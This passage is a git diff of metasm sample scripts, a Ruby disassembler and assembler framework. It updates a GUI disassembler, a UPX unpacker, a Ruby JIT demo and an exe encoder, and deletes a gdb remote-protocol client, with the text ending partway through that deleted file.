--- a/lib/metasm/samples/disassemble-gui.rb
+++ b/lib/metasm/samples/disassemble-gui.rb
@@ -40,7 +40,7 @@ OptionParser.new { |opt|
   opt.on('--map <mapfile>', 'load a map file (addr <-> name association)') { |f| opts[:map] = f }
   opt.on('--fast', 'dasm cli args with disassemble_fast_deep') { opts[:fast] = true }
   opt.on('--decompile') { opts[:decompile] = true }
-  opt.on('--gui <gtk|win32|qt>') { |g| require 'metasm/gui/' + g }
+  opt.on('--gui <gtk|win32|qt>') { |g| ENV['METASM_GUI'] = g }
   opt.on('--cpu <cpu>', 'the CPU class to use for a shellcode (Ia32, X64, ...)') { |c| opts[:sc_cpu] = c }
   opt.on('--exe <exe_fmt>', 'the executable file format to use (PE, ELF, ...)') { |c| opts[:exe_fmt] = c }
   opt.on('--rebase <addr>', 'rebase the loaded file to <addr>') { |a| opts[:rebase] = Integer(a) }
@@ -49,6 +49,8 @@ OptionParser.new { |opt|
   opt.on('-v', '--verbose') { $VERBOSE = true }	# default
   opt.on('-q', '--no-verbose') { $VERBOSE = false }
   opt.on('-d', '--debug') { $DEBUG = $VERBOSE = true }
+  opt.on('-S <file>', '--session <sessionfile>', 'save user actions in this session file') { |a|  opts[:session] = a }
+  opt.on('-N', '--new-session', 'start new session, discard old one') { opts[:newsession] = true }
 }.parse!(ARGV)
 
 case exename = ARGV.shift
@@ -66,6 +68,8 @@ when /^(tcp:|udp:)?..+:/
 else
   w = Metasm::Gui::DasmWindow.new("#{exename + ' - ' if exename}metasm disassembler")
   if exename
+    opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/
+    opts[:exe_fmt] = eval(opts[:exe_fmt]) if opts[:exe_fmt] =~ /[.(\s:]/
     exe = w.loadfile(exename, opts[:sc_cpu], opts[:exe_fmt])
     exe.disassembler.rebase(opts[:rebase]) if opts[:rebase]
     if opts[:autoload]
@@ -73,6 +77,7 @@ else
       opts[:map] ||= basename + '.map' if File.exist?(basename + '.map')
       opts[:cheader] ||= basename + '.h' if File.exist?(basename + '.h')
       (opts[:plugin] ||= []) << (basename + '.rb') if File.exist?(basename + '.rb')
+      opts[:session] ||= basename + '.metasm-session'
     end
   end
 end
@@ -80,21 +85,46 @@ end
 ep = ARGV.map { |arg| (?0..?9).include?(arg[0]) ? Integer(arg) : arg }
 
 if exe
-  dasm = exe.init_disassembler
+  dasm = exe.disassembler
 
   dasm.load_map opts[:map] if opts[:map]
   dasm.parse_c_file opts[:cheader] if opts[:cheader]
   dasm.backtrace_maxblocks_data = -1 if opts[:nodatatrace]
   dasm.debug_backtrace = true if opts[:debugbacktrace]
-  dasm.disassemble_fast_deep(*ep) if opts[:fast]
   dasm.callback_finished = lambda { w.dasm_widget.focus_addr w.dasm_widget.curaddr, :decompile ; dasm.decompiler.finalize } if opts[:decompile]
+  dasm.disassemble_fast_deep(*ep) if opts[:fast]
 elsif dbg
   dbg.load_map opts[:map] if opts[:map]
-  opts[:plugin].to_a.each { |p| dbg.load_plugin(p) }
+  dbg.disassembler.parse_c_file opts[:cheader] if opts[:cheader]
+  opts[:plugin].to_a.each { |p|
+    begin
+      dbg.load_plugin(p)
+    rescue ::Exception
+      puts "Error with plugin #{p}: #{$!.class} #{$!}"
+    end
+  }
 end
 if dasm
   w.display(dasm, ep)
-  opts[:plugin].to_a.each { |p| dasm.load_plugin(p) }
+  opts[:plugin].to_a.each { |p|
+    begin
+      dasm.load_plugin(p)
+    rescue ::Exception
+      puts "Error with plugin #{p}: #{$!.class} #{$!}"
+    end
+  }
+
+  if opts[:session]
+    if File.exist?(opts[:session])
+      if opts[:newsession]
+        File.unlink(opts[:session])
+      else
+        puts "replaying session #{opts[:session]}"
+        w.widget.replay_session(opts[:session])
+      end
+    end
+    w.widget.save_session opts[:session]
+  end
 end
 
 opts[:hookstr].to_a.each { |f| eval f }
diff --git a/lib/metasm/samples/disassemble.rb b/lib/metasm/samples/disassemble.rb
index a3acc01610..dbc0e75ba0 100644
--- a/lib/metasm/samples/disassemble.rb
+++ b/lib/metasm/samples/disassemble.rb
@@ -48,10 +48,23 @@ t0 = Time.now if opts[:benchmark]
 if exename =~ /^live:(.*)/
   raise 'no such live target' if not target = OS.current.find_process($1)
   p target if $VERBOSE
-  exe = Shellcode.decode(target.memory, Metasm.const_get(opts[:sc_cpu]).new)
+  opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/
+  opts[:sc_cpu] = Metasm.const_get(opts[:sc_cpu]) if opts[:sc_cpu].kind_of(::String)
+  opts[:sc_cpu] = opts[:sc_cpu].new if opts[:sc_cpu].kind_of?(::Class)
+  exe = Shellcode.decode(target.memory, opts[:sc_cpu])
 else
-  exefmt = opts[:exe_fmt] ? Metasm.const_get(opts[:exe_fmt]) : AutoExe.orshellcode { Metasm.const_get(opts[:sc_cpu]).new }
-  exefmt = exefmt.withcpu(Metasm.const_get(opts[:sc_cpu]).new) if opts[:exe_fmt] == 'Shellcode' and opts[:sc_cpu]
+  opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/
+  opts[:exe_fmt] = eval(opts[:exe_fmt]) if opts[:exe_fmt] =~ /[.(\s:]/
+  if opts[:exe_fmt].kind_of?(::String)
+    exefmt = opts[:exe_fmt] = Metasm.const_get(opts[:exe_fmt])
+  else
+    exefmt = opts[:exe_fmt] || AutoExe.orshellcode {
+      opts[:sc_cpu] = Metasm.const_get(opts[:sc_cpu]) if opts[:sc_cpu].kind_of?(::String)
+      opts[:sc_cpu] = opts[:sc_cpu].new if opts[:sc_cpu].kind_of?(::Class)
+      opts[:sc_cpu]
+    }
+  end
+  exefmt = exefmt.withcpu(opts[:sc_cpu]) if exefmt.kind_of?(::Class) and exefmt.name.to_s.split('::').last == 'Shellcode'
   exe = exefmt.decode_file(exename)
   exe.disassembler.rebase(opts[:rebase]) if opts[:rebase]
   if opts[:autoload]
@@ -62,7 +75,7 @@ else
   end
 end
 # set options
-dasm = exe.init_disassembler
+dasm = exe.disassembler
 makeint = lambda { |addr|
   case addr
   when /^[0-9].*h/; addr.to_i(16)
@@ -75,13 +88,19 @@ dasm.parse_c_file opts[:cheader] if opts[:cheader]
 dasm.backtrace_maxblocks_data = -1 if opts[:nodatatrace]
 dasm.debug_backtrace = true if opts[:debugbacktrace]
 opts[:stopaddr].to_a.each { |addr| dasm.decoded[makeint[addr]] = true }
-opts[:plugin].to_a.each { |p| dasm.load_plugin p }
+opts[:plugin].to_a.each { |p|
+  begin
+    dasm.load_plugin p
+  rescue ::Exception
+    puts "Error with plugin #{p}: #{$!.class} #{$!}"
+  end
+}
 opts[:hookstr].to_a.each { |f| eval f }
 
 t1 = Time.now if opts[:benchmark]
 # do the work
 begin
-  method = opts[:fast] ? :disassemble_fast : :disassemble
+  method = opts[:fast] ? :disassemble_fast_deep : :disassemble
   if ARGV.empty?
     exe.send(method)
   else
@@ -98,7 +117,13 @@ if opts[:decompile]
   tdc = Time.now if opts[:benchmark]
 end
 
-opts[:post_plugin].to_a.each { |p| dasm.load_plugin p }
+opts[:post_plugin].to_a.each { |p|
+  begin
+    dasm.load_plugin p
+  rescue ::Exception
+    puts "Error with plugin #{p}: #{$!.class} #{$!}"
+  end
+}
 
 dasm.save_file(opts[:savefile]) if opts[:savefile]
 
diff --git a/lib/metasm/samples/dump_upx.rb b/lib/metasm/samples/dump_upx.rb
index 4bb199fa35..1839ffbdb0 100644
--- a/lib/metasm/samples/dump_upx.rb
+++ b/lib/metasm/samples/dump_upx.rb
@@ -10,7 +10,7 @@
 # original entrypoint by disassembling the UPX stub, set breakpoint on it,
 # run the program, and dump the loaded image to an executable PE.
 #
-# usage: dump_upx.rb <packed.exe> [<dumped.exe>] [<rva iat>]
+# usage: dump_upx.rb <packed.exe> [<dumped.exe>] [<iat (r)va>] [--oep <rva>]
 #
 
 require 'metasm'
@@ -21,17 +21,22 @@ class UPXUnpacker
   # find the oep by disassembling
   # run it until the oep
   # dump the memory image
-  def initialize(file, dumpfile, iat_rva=nil)
-    @dumpfile = dumpfile || 'upx-dumped.exe'
-    @iat = iat_rva
+  def initialize(file, oep, iat, dumpfile)
+    @dumpfile = dumpfile
+    @dumpfile ||= file.chomp('.exe') + '.dump.exe'
 
     puts 'disassembling UPX loader...'
     pe = PE.decode_file(file)
-    @oep = find_oep(pe)
-    raise 'cant find oep...' if not @oep
-    puts "oep found at #{Expression[@oep]}"
     @baseaddr = pe.optheader.image_base
-    @iat -= @baseaddr if @iat > @baseaddr	# va => rva
+
+    @oep = oep
+    @oep -= @baseaddr if @oep and @oep > @baseaddr	# va => rva
+    @oep ||= find_oep(pe)
+    raise 'cant find oep...' if not @oep
+    puts "oep found at #{Expression[@oep]}" if not oep
+
+    @iat = iat
+    @iat -= @baseaddr if @iat and @iat > @baseaddr
 
     @dbg = OS.current.create_process(file).debugger
     puts 'running...'
@@ -40,7 +45,7 @@ class UPXUnpacker
 
   # disassemble the upx stub to find a cross-section jump (to the real entrypoint)
   def find_oep(pe)		
-    dasm = pe.disassemble_fast 'entrypoint'
+    dasm = pe.disassemble_fast_deep 'entrypoint'
     
     return if not jmp = dasm.decoded.find { |addr, di|
       # check only once per basic block
@@ -80,7 +85,8 @@ class UPXUnpacker
     dump.sections.each { |s| s.characteristics |= ['MEM_WRITE'] }
 
     # write the PE file to disk
-    dump.encode_file @dumpfile
+    # as UPX strips the relocation information, mark the exe to opt-out from ASLR
+    dump.encode_file @dumpfile, 'exe', false
 
     puts 'dump complete'
   ensure
@@ -90,6 +96,12 @@ class UPXUnpacker
 end
 
 if __FILE__ == $0
-  # args: packed [unpacked] [iat rva]
-  UPXUnpacker.new(ARGV.shift, ARGV.shift, (Integer(ARGV.shift) rescue nil))
+  fn = ARGV.shift
+  oep = Integer(ARGV.shift) unless ARGV.empty?
+  oep = nil if oep == -1
+  iat = Integer(ARGV.shift) unless ARGV.empty?
+  iat = nil if iat == -1
+  out = ARGV.shift
+  abort 'usage: dump <exe> [<oep>] [<iat>] [<outfile>]' if not File.exist?(fn)
+  UPXUnpacker.new(fn, oep, iat, out)
 end
diff --git a/lib/metasm/samples/dynamic_ruby.rb b/lib/metasm/samples/dynamic_ruby.rb
index 705706d7e6..d86e3b5813 100644
--- a/lib/metasm/samples/dynamic_ruby.rb
+++ b/lib/metasm/samples/dynamic_ruby.rb
@@ -289,12 +289,15 @@ EOS
     m ? @cp.dump_definition(m) : @cp.to_s
   end
 
+  @@optim_hint = {}
+  def self.optim_hint; @@optim_hint; end
+
   attr_accessor :optim_hint
   def initialize(cp=nil)
     @cp = cp || DynLdr.host_cpu.new_cparser
     @cp.parse RUBY_H
     @iter_break = nil
-    @optim_hint = {}
+    @optim_hint = @@optim_hint.dup
   end
 
   # convert a ruby AST to a new C function
@@ -408,7 +411,7 @@ EOS
         ast_to_c(a, els, false)
         @scope.statements << C::If.new(cnd, thn, els)
       }
-  end
+    end
 
     if args[3]
       raise Fail, "unhandled vararglist3 #{args.inspect}" if args[3][0] != :lasgn
@@ -547,7 +550,7 @@ EOS
             body_other_head = fu
           end
           body_other = fu
-  end
+        end
 
       # default case statement
       else
@@ -773,7 +776,7 @@ EOS
       e = ast[3].dup
       e[-1] = [:call, [:call, [:rb2cvar, full.name], '[]', [:array, [:dot2, [:lit, ast[1].length-1], [:lit, -1]]]], 'to_a']
       ast_to_c(e, scope, false)
-  end
+    end
 
     full
   end
@@ -822,7 +825,7 @@ EOS
         l = local(ast[1], :none)
       else
         # w = 4 if false ; p w  => should be nil
-      l = local(ast[1])
+        l = local(ast[1])
       end
       st = ast_to_c(ast[2], scope, l)
       scope.statements << C::CExpression[l, :'=', st] if st != l
@@ -885,7 +888,7 @@ EOS
       if idx
         scope.statements << rb_funcall(recv, ast[2], idx, arg)
       else
-      scope.statements << rb_funcall(recv, ast[2], arg)
+        scope.statements << rb_funcall(recv, ast[2], arg)
       end
       tmp
 
@@ -926,17 +929,17 @@ EOS
       ast[1][1..-1].each { |k|
         if not ki
           ki = k
-      else
+        else
           scope.statements << fcall('rb_hash_aset', tmp, ast_to_c(ki, scope), ast_to_c(k, scope))
           ki = nil
-      end
+        end
       }
       tmp
 
     when :iter
       if v = optimize_iter(ast, scope, want_value)
         return v
-        end
+      end
       # for full support of :iter, we need access to the interpreter's ruby_block private global variable in eval.c
       # we can find it by analysing rb_block_given_p, but this won't work with a static precompiled rubyhack...
       # even with access to ruby_block, there we would need to redo PUSH_BLOCK, create a temporary dvar list,
@@ -993,7 +996,7 @@ EOS
         tbdy.statements << C::CExpression[tmp, :'=', thn] if tmp != thn
         if ast[3]
           els = ast_to_c(ast[3], ebdy, tmp)
-    else
+        else
           # foo = if bar ; baz ; end  => nil if !bar
           els = rb_nil
         end
@@ -1135,10 +1138,10 @@ EOS
     args = ast[3][1..-1] if ast[3] and ast[3][0] == :array
     arg0 = args[0] if args and args[0]
 
-    if arg0 and arg0[0] == :lit and arg0[1].kind_of? Fixnum
+    if arg0 and arg0[0] == :lit and arg0[1].kind_of?(Fixnum) and %w[== > < >= <= + -].include?(op)
+      # TODO or @optim_hint[ast[1]] == 'fixnum'
       # optimize 'x==42', 'x+42', 'x-42'
       o2 = arg0[1]
-      return if not %w[== > < >= <= + -].include? op
       if o2 < 0 and ['+', '-'].include? op
         # need o2 >= 0 for overflow detection
         op = {'+' => '-', '-' => '+'}[op]
@@ -1177,7 +1180,7 @@ EOS
           # add_optimized_statement wont handle the overflow check correctly
           scope.statements << t
         else
-        scope.statements << C::If.new(cnd, t, e)
+          scope.statements << C::If.new(cnd, t, e)
         end
       when '-'
         e = ce[recv, :-, [int_v-1]]
@@ -1187,8 +1190,8 @@ EOS
         if @optim_hint[ast[1]] == 'fixnum'
           scope.statements << t
         else
-        scope.statements << C::If.new(cnd, t, e)
-      end
+          scope.statements << C::If.new(cnd, t, e)
+        end
       end
       tmp
     
@@ -1809,8 +1812,8 @@ EOS
 
     ctr = C::CExpression[:'++', [@rb_fcntr, :'[]', [@rb_fcid]]]
     C::CExpression[ctr, :',', super(recv, meth, *args)]
-    end
   end
+    end
 end
 end
 
@@ -1819,6 +1822,12 @@ end
 
 if __FILE__ == $0 or ARGV.delete('ignore_argv0')
 
+while i = ARGV.index('-e')
+  # setup optim_hint etc
+  ARGV.delete_at(i)
+  eval ARGV.delete_at(i)
+end
+
 demo = case ARGV.first
        when nil;        :test_jit
        when 'asm';      :inlineasm
@@ -1898,10 +1907,10 @@ when :compile_ruby
 when :test_jit
   class Foo
     def bla(x=500)
-    i = 0
+      i = 0
       x.times { i += 16 }
-    i
-  end
+      i
+    end
   end
 
   t0 = Time.now
diff --git a/lib/metasm/samples/exeencode.rb b/lib/metasm/samples/exeencode.rb
index bf38ec3f4e..58e8dd49c9 100644
--- a/lib/metasm/samples/exeencode.rb
+++ b/lib/metasm/samples/exeencode.rb
@@ -26,7 +26,8 @@ $opts = {
 
 OptionParser.new { |opt|
   opt.on('-o file', 'output filename') { |f| $opts[:outfilename] = f }
-  opt.on('-f') { $opts[:overwrite_outfile] = true }
+  opt.on('-i', 'dont overwrite existing outfile') { $opts[:nooverwrite_outfile] = true }
+  opt.on('-f', 'overwrite existing outfile (default)') { $opts.delete :nooverwrite_outfile }	# without this, optparse autocomplete to --fno-pic and break older scripts...
   opt.on('--c', 'parse source as a C file') { $opts[:srctype] = 'c' }
   opt.on('--asm', 'parse asm as an ASM file') { $opts[:srctype] = 'asm' }
   opt.on('--stdin', 'parse source on stdin') { ARGV << '-' }
@@ -44,7 +45,7 @@ OptionParser.new { |opt|
   opt.on('--le', 'set cpu in little-endian mode') { $opts[:cpu].endianness = :little }
   opt.on('--be', 'set cpu in big-endian mode') { $opts[:cpu].endianness = :big }
   opt.on('--fno-pic', 'generate position-dependant code') { $opts[:cpu].generate_PIC = false }
-  opt.on('--shared', 'generate shared library') { $opts[:exetype] = :lib }
+  opt.on('--shared', '--lib', '--dll', 'generate shared library') { $opts[:exetype] = :lib }
   opt.on('--ruby-module-hack', 'use the dynldr module hack to use any ruby lib available for ruby symbols') { $opts[:dldrhack] = true }
 }.parse!
 
@@ -62,7 +63,7 @@ else
   src << DATA.read	# the text after __END__ in this file
 end
 
-if $opts[:outfilename] and not $opts[:overwrite_outfile] and File.exist?($opts[:outfilename])
+if $opts[:outfilename] and $opts[:nooverwrite_outfile] and File.exist?($opts[:outfilename])
     abort "Error: target file exists !"
 end
 
@@ -93,7 +94,7 @@ if $opts[:to_string]
   end
 
   if of = $opts[:outfilename]
-    abort "Error: target file #{of.inspect} exists !" if File.exists? of and not $opts[:overwrite_outfile]
+    abort "Error: target file #{of.inspect} exists !" if File.exists?(of) and $opts[:nooverwrite_outfile]
     File.open(of, 'w') { |fd| fd.puts str }
     puts "saved to file #{of.inspect}"
   else
@@ -101,7 +102,7 @@ if $opts[:to_string]
   end
 else
   of = $opts[:outfilename] ||= 'a.out'
-  abort "Error: target file #{of.inspect} exists !" if File.exists? of and not $opts[:overwrite_outfile]
+  abort "Error: target file #{of.inspect} exists !" if File.exists?(of) and $opts[:nooverwrite_outfile]
   Metasm::DynLdr.compile_binary_module_hack(exe) if $opts[:dldrhack]
   exe.encode_file(of, $opts[:exetype])
   puts "saved to file #{of.inspect}"
diff --git a/lib/metasm/samples/factorize-headers-peimports.rb b/lib/metasm/samples/factorize-headers-peimports.rb
index 378b7598a6..294426fabd 100644
--- a/lib/metasm/samples/factorize-headers-peimports.rb
+++ b/lib/metasm/samples/factorize-headers-peimports.rb
@@ -41,18 +41,13 @@ if opts[:vspath] ||= ARGV.shift
 end
 
 funcnames = opts[:exe].map { |e|
-  pe = PE.decode_file_header(e) rescue nil
-  
-  pe.decode_imports if pe 
-  if pe and not pe.imports
+  pe = PE.decode_file_header(e) rescue next
+  pe.decode_imports
+  if not pe.imports
     puts "#{e} has no imports"
     next
   end
-  if pe 
-    pe.imports.map { |id| id.imports.map { |i| i.name } }
-  else
-    []
-  end
+  pe.imports.map { |id| id.imports.map { |i| i.name } }
 }.flatten.compact.uniq.sort
 
 ARGV.each { |n|
diff --git a/lib/metasm/samples/gdbclient.rb b/lib/metasm/samples/gdbclient.rb
deleted file mode 100644
index 9aabd2cf8e..0000000000
--- a/lib/metasm/samples/gdbclient.rb
+++ /dev/null
@@ -1,583 +0,0 @@
-#    This file is part of Metasm, the Ruby assembly manipulation suite
-#    Copyright (C) 2006-2009 Yoann GUILLOT
-#
-#    Licence is LGPL, see LICENCE in the top-level directory
-
-#
-# this is a rubstop-api compatible Gdb stub
-# it can connect to a gdb server and interface with the lindebug frontend
-# linux/x86 only
-#
-
-require 'socket'
-require 'metasm'
-
-class GdbRemoteString < Metasm::VirtualString
-  attr_accessor :gdbg
-
-  def initialize(gdbg, addr_start=0, length=0xffff_ffff)
-    @gdbg = gdbg
-    @pagelength = 512
-    super(addr_start, length)
-  end
-
-  def dup(addr=@addr_start, len=@length)
-    self.class.new(@gdbg, addr, len)
-  end
-
-  def rewrite_at(addr, data)
-    len = data.length
-    off = 0
-    while len > @pagelength
-      @gdbg.setmem(addr+off, data[off, @pagelength])
-      off += @pagelength
-      len -= @pagelength
-    end
-    @gdbg.setmem(addr+off, data[off, len])
-  end
-
-  def get_page(addr)
-    @gdbg.getmem(addr, @pagelength)
-  end
-end
-
-class Rubstop
-  EFLAGS = {0 => 'c', 2 => 'p', 4 => 'a', 6 => 'z', 7 => 's', 9 => 'i', 10 => 'd', 11 => 'o'}
-  GDBREGS = %w[eax ecx edx ebx esp ebp esi edi eip eflags cs ss ds es fs gs]	# XXX [77] = 'orig_eax'
-  # define accessors for registers
-  GDBREGS.compact.each { |reg|
-    define_method(reg) { regs_cache[reg] }
-    define_method(reg + '=') { |v| regs_cache[reg] = v ; regs_dirty }
-  }
-
-  # compute the hex checksum used in gdb protocol
-  def gdb_csum(buf)
-    '%02x' % (buf.unpack('C*').inject(0) { |cs, c| cs + c } & 0xff)
-  end
-
-  # send the buffer, waits ack
-  # return true on success
-  def gdb_send(cmd, buf='')
-    buf = cmd + buf
-    buf = '$' << buf << '#' << gdb_csum(buf)
-    log "gdb_send(#{buf[0, 32].inspect}#{'...' if buf.length > 32})" if $DEBUG
-
-    5.times {
-      @io.write buf
-      loop do
-        if not IO.select([@io], nil, nil, 1)
-          break
-        end
-        raise Errno::EPIPE if not ack = @io.read(1)
-        case ack
-        when '+'
-          return true
-        when '-'
-          log "gdb_send: ack neg" if $DEBUG
-          break
-        when nil; return
-        end
-      end
-    }
-    log "send error #{cmd.inspect} (no ack)"
-    false
-  end
-
-  # return buf, or nil on error / csum error
-  def gdb_readresp
-    state = :nosync
-    buf = ''
-    cs = ''
-    while state != :done
-      # XXX timeout etc
-      raise Errno::EPIPE if not c = @io.read(1)
-      case state
-      when :nosync
-        if c == '$'
-          state = :data
-        end
-      when :data
-        if c == '#'
-          state = :csum1
-        else
-          buf << c
-        end
-      when :csum1
-        cs << c
-        state = :csum2
-      when :csum2
-        cs << c
-        state = :done
-        if cs.downcase != gdb_csum(buf).downcase
-          log "transmit error"
-          @io.write '-'
-          return
-        end
-      end
-    end
-    @io.write '+'
-
-    if buf =~ /^E(..)$/
-      e = $1.to_i(16)
-      log "error #{e} (#{Metasm::PTrace::ERRNO.index(e)})"
-      return
-    end
-    log "gdb_readresp: got #{buf[0, 64].inspect}#{'...' if buf.length > 64}" if $DEBUG
-
-    buf
-  end
-
-  def gdb_msg(*a)
-    if gdb_send(*a)
-      gdb_readresp
-    end
-  end
-
-  # rle: build the regexp that will match repetitions of a character, skipping counts leading to invalid char
-  rng = [3..(125-29)]
-  [?+, ?-, ?#, ?$].sort.each { |invalid|
-    invalid -= 29
-    rng.each_with_index { |r, i|
-      if r.include? invalid
-        replace = [r.begin..invalid-1, invalid+1..r.end]
-        replace.delete_if { |r_| r_.begin > r_.end }
-        rng[i, 1] = replace
-      end
-    }
-  }
-  repet = rng.reverse.map { |r| "\\1{#{r.begin},#{r.end}}" }.join('|')
-  RLE_RE = /(.)(#{repet})/
-
-  # rle-compress a buffer
-  # a character followed by '*' followed by 'x' is asc(x)-28 repetitions of the char
-  # eg '0* ' => '0' * (asc(' ') - 28) = '0000'
-  # for the count character, it must be 32 <= char < 126 and not be '+' '-' '#' or '$'
-  def rle(buf)
-    buf.gsub(RLE_RE) {
-      chr, len = $1, $2.length+1
-      chr + '*' + (len+28).chr
-    }
-  end
-  # decompress rle-encoded data
-  def unrle(buf) buf.gsub(/(.)\*(.)/) { $1 * ($2[0]-28) } end
-  # send an integer as a long hex packed with leading 0 stripped
-  def hexl(int) [int].pack('N').unpack('H*').first.gsub(/^0+(.)/, '\1') end
-  # send a binary buffer as a rle hex-encoded
-  def hex(buf) buf.unpack('H*').first end
-  # decode an rle hex-encoded buffer
-  def unhex(buf)
-    buf = buf[/^[a-fA-F0-9]*/]
-    buf = '0' + buf if buf.length % 1 == 1
-    [buf].pack('H*')
-  end
-
-  # on-demand local cache of registers
-  def regs_cache
-    readregs if @regs_cache.empty?
-    @regs_cache
-  end
-
-  # retrieve remote regs
-  def readregs
-    sync_regs
-    if buf = gdb_msg('g')
-      regs = unhex(unrle(buf))
-      if regs.length < GDBREGS.length*4
-        # retry once, was probably a response to something else
-        puts "bad regs size!" if $DEBUG
-        buf = gdb_msg('g')
-        regs = unhex(unrle(buf)) if buf
-        if not buf or regs.length < GDBREGS.length*4
-          raise "regs buffer recv is too short !"
-        end
-      end
-      @regs_dirty = false
-      @regs_cache = Hash[GDBREGS.zip(regs.unpack('L*'))]
-    end
-    @curinstr = nil if @regs_cache['eip'] != @oldregs['eip']
-  end
-
-  # mark local cache of regs as modified, need to send it before continuing execution
-  def regs_dirty
-    @regs_dirty = true
-  end
-
-  # send the local copy of regs if dirty
-  def sync_regs
-    if not @regs_cache.empty? and @regs_dirty
-      send_regs
-    end
-  end
-
-  # send the local copy of regs
-  def send_regs
-    return if @regs_cache.empty?
-    regs = @regs_cache.values_at(*GDBREGS)
-    @regs_dirty = false
-    gdb_msg('G', hex(regs.pack('L*')))
-  end
-
-  # read memory (small blocks prefered)
-  def getmem(addr, len)
-    return '' if len == 0
-    if mem = gdb_msg('m', hexl(addr) << ',' << hexl(len))
-      unhex(unrle(mem))
-    end
-  end
-
-  # write memory (small blocks prefered)
-  def setmem(addr, data)
-    len = data.length
-    return if len == 0
-    raise 'writemem error' if not gdb_msg('M', hexl(addr) << ',' << hexl(len) << ':' << rle(hex(data)))
-  end
-
-  # read arbitrary blocks of memory (chunks to getmem)
-  def [](addr, len)
-    @pgm.encoded[addr, len].data rescue ''
-  end
-
-  # write arbitrary blocks of memory (chunks to getmem)
-  def []=(addr, len, str)
-    @pgm.encoded[addr, len] = str
-  end
-
-  def curinstr
-    @curinstr ||= mnemonic_di
-  end
-
-  def mnemonic_di(addr = eip)
-    @pgm.encoded.ptr = addr
-    di = @pgm.cpu.decode_instruction(@pgm.encoded, addr)
-    @curinstr = di if addr == @regs_cache['eip']
-    di
-  end
-
-  def mnemonic(addr = eip)
-    mnemonic_di(addr).instruction
-  end
-
-  def pre_run
-    @oldregs = regs_cache.dup
-    sync_regs
-  end
-
-  def post_run
-    @regs_cache.clear
-    @curinstr = nil
-    @mem.invalidate
-  end
-
-  def quiet
-    @quiet = true
-    begin
-      yield
-    ensure
-      @quiet = false
-    end
-  end
-
-  def log_stopped(msg)
-    return if @quiet ||= false
-    case msg[0]
-    when ?T
-      sig = [msg[1, 2]].pack('H*')[0]
-      misc = msg[3..-1].split(';').inject({}) { |h, s| k, v = s.split(':', 2) ; h.update k => (v || true) }
-      str = "stopped by signal #{sig}"
-      str = "thread #{[misc['thread']].pack('H*').unpack('N').first} #{str}" if misc['thread']
-      log str
-    when ?S
-      sig = [msg[1, 2]].pack('H*')[0]
-      log "stopped by signal #{sig}"
-    end
-  end
-
-  def cont
-    pre_run
-    do_singlestep if @wantbp
-    rmsg = gdb_msg('c')
-    post_run
-    ccaddr = eip-1
-    if @breakpoints[ccaddr] and self[ccaddr, 1] == "\xcc"
-      self[ccaddr, 1] = @breakpoints.delete ccaddr
-      mem.invalidate
-      self.eip = ccaddr
-      @wantbp = ccaddr if not @singleshot.delete ccaddr
-      sync_regs
-    end
-    log_stopped rmsg
-  end
-
-  def singlestep
-    pre_run
-    do_singlestep
-    post_run
-  end
-
-  def do_singlestep
-    gdb_msg('s')
-    if @wantbp
-      self[@wantbp, 1] = "\xcc"
-      @wantbp = nil
-    end
-  end
-
-  def stepover
-    i = curinstr.instruction if curinstr
-    if i and (i.opname == 'call' or (i.prefix and i.prefix[:rep]))
-      eaddr = eip + curinstr.bin_length
-      bpx eaddr, true
-      quiet { cont }
-    else
-      singlestep
-    end
-  end
-
-  def stepout
-    stepover until curinstr and curinstr.opcode.name == 'ret'
-    singlestep
-  rescue Interrupt
-    log 'interrupted'
-  end
-
-  def bpx(addr, singleshot=false)
-    return if @breakpoints[addr]
-    @singleshot[addr] = true if singleshot
-    @breakpoints[addr] = self[addr, 1]
-    self[addr, 1] = "\xcc"
-  end
-
-
-  def kill
-    gdb_send('k')
-  end
-
-  def detach
-    # TODO clear breakpoints
-    gdb_send('D')
-  end
-
-  attr_accessor :pgm, :breakpoints, :singleshot, :wantbp,
-    :symbols, :symbols_len, :filemap, :oldregs, :io, :mem
-  def initialize(io)
-    case io
-    when IO; @io = io
-    when /^udp:([^:]*):(\d+)$/; @io = UDPSocket.new ; @io.connect($1, $2)
-    when /^(?:tcp:)?([^:]*):(\d+)$/; @io = TCPSocket.open($1, $2)
-    else raise "unknown target #{io.inspect}"
-    end
-    @pgm = Metasm::ExeFormat.new Metasm::Ia32.new
-    @mem = GdbRemoteString.new self
-    @pgm.encoded = Metasm::EncodedData.new @mem
-    @regs_cache = {}
-    @regs_dirty = nil
-    @oldregs = {}
-    @breakpoints = {}
-    @singleshot = {}
-    @wantbp = nil
-    @symbols = {}
-    @symbols_len = {}
-    @filemap = {}
-
-    gdb_setup
-  end
-
-  def gdb_setup
-    #gdb_msg('q', 'Supported')
-    #gdb_msg('Hc', '-1')
-    #gdb_msg('qC')
-    if not gdb_msg('?')
-      log "nobody on the line, waiting for someone to wake up"
-      IO.select([@io], nil, nil, nil)
-      log "who's there ?"
-    end
-  end
-
-  def set_hwbp(type, addr, len=1, set=true)
-    set = (set ? 'Z' : 'z')
-    type = { 'r' => '3', 'w' => '2', 'x' => '1', 's' => '0' }[type] || raise("invalid hwbp type #{type}")
-    gdb_msg(set, type << ',' << hexl(addr) << ',' << hexl(len))
-    true
-  end
-
-  def unset_hwbp(type, addr, len=1)
-    set_hwbp(type, addr, len, false)
-  end
-
-
-  def findfilemap(s)
-    @filemap.keys.find { |k| @filemap[k][0] <= s and @filemap[k][1] > s } || '???'
-  end
-
-  def findsymbol(k)
-    file = findfilemap(k) + '!'
-    if s = @symbols[k] ? k : @symbols.keys.find { |s_| s_ < k and s_ + @symbols_len[s_].to_i > k }
-      file + @symbols[s] + (s == k ? '' : "+#{(k-s).to_s(16)}")
-    else
-      file + ('%08x' % k)
-    end
-  end
-
-  def loadsyms(baseaddr, name)
-    @loadedsyms ||= {}
-    return if @loadedsyms[name] or self[baseaddr, 4] != "\x7fELF"
-    @loadedsyms[name] = true
-
-    set_status " loading symbols from #{name}..."
-    e = Metasm::LoadedELF.load self[baseaddr, 0x100_0000]
-    e.load_address = baseaddr
-    begin
-      e.decode
-      #e = Metasm::ELF.decode_file name rescue return         # read from disk
-    rescue
-      log "failed to load symbols from #{name}: #$!"
-      ($!.backtrace - caller).each { |l| log l.chomp }
-      @filemap[baseaddr.to_s(16)] = [baseaddr, baseaddr+0x1000]
-      return
-    rescue Interrupt
-      log "interrupted"
-    end
-
-    if e.tag['SONAME']
